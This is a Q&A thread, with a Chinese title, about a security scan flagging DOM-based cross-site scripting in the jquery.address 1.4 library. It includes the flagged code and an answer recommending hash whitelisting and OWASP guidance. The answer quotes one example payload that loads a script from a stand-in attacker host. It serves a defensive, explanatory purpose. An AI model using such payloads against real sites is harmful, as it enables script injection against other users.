安全扫描在JS脚本文件中显示漏洞

Question

I recently ran a Security Scan on my site, and one of the JS files being used, was flagged as having DOM Cross Site Scripting Issue, and I'm not sure how I can fix it.

File: jquery.address1.4.js

Here is script from the portion of the code that was flagged:

_supported = 
            (_mozilla && _version >= 1) || 
            (_msie && _version >= 6) ||
            (_opera && _version >= 9.5) ||
            (_webkit && _version >= 523);

        if (_supported) {
            if (_opera) {
                history.navigationMode = 'compatible';
            }
            if (document.readyState == 'complete') {
                var interval = setInterval(function() {
                    if ($.address) {
                        _load();
                        clearInterval(interval);
                    }
                }, 50);
            } else {
                _options();
                $(_load);
            }
            $(window).bind('popstate', _popstate).bind('unload', _unload);            
        } else if (!_supported && _hrefHash() !== '') {
            _l.replace(_l.href.substr(0, _l.href.indexOf('#')));
        } else {
            _track();
        }

The line of code that is this:

_l.replace(_l.href.substr(0, _l.href.indexOf('#')));

The scan is telling me to sanitize the inputs, but I'm not sure what it's referring to since we have no "inputs" on the site. How can fix the above code so it can pass a security scan?

EDIT: This is the the value of _l

_l = _t.location,

From:

_window = function() {
                try {
                    return top.document !== UNDEFINED ? top : window;
                } catch (e) { 
                    return window;
                }
            },

ID = 'jQueryAddress',
            STRING = 'string',
            HASH_CHANGE = 'hashchange',
            INIT = 'init',
            CHANGE = 'change',
            INTERNAL_CHANGE = 'internalChange',
            EXTERNAL_CHANGE = 'externalChange',
            TRUE = true,
            FALSE = false,
            _opts = {
                autoUpdate: TRUE, 
                crawlable: FALSE,
                history: TRUE, 
                strict: TRUE,
                wrap: FALSE
            },
            _browser = $.browser, 
            _version = parseFloat($.browser.version),
            _mozilla = _browser.mozilla,
            _msie = _browser.msie,
            _opera = _browser.opera,
            _webkit = _browser.webkit || _browser.safari,
            _supported = FALSE,
            _t = _window(),
            _d = _t.document,
            _h = _t.history, 
            _l = _t.location,
            _si = setInterval,
            _st = setTimeout,
            _re = /\/{2,9}/g,
            _agent = navigator.userAgent,            
            _frame,
            _form,
            _url = _search(document),
            _qi = _url ? _url.indexOf('?') : -1,
            _title = _d.title, 
            _silent = FALSE,
            _loaded = FALSE,
            _justset = TRUE,
            _juststart = TRUE,
            _updating = FALSE,
            _listeners = {}, 
            _value = _href();

Answer 1

The unsanitized value in this example will be the hash value retrieved from your URL. Any value the precede's the "#" in your URL, should be sanitized, to ensure that an attacker is not able to supply their own javascript in that context.

Just because this value may not be an explicit user supplied "input", there is nothing to prevent a malicious user from supplying a malicious value such as the following:

#"><script src=http://badguy.com/xss.js />

which would execute in the context of other users.

A valid defense for this example, or input sanitization, would be a whitelist approach. Only accept known values for #, do not allow anything that an attacker might supply.

This is a great resource on defending against DOM based XSS https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet I suggest you read through it.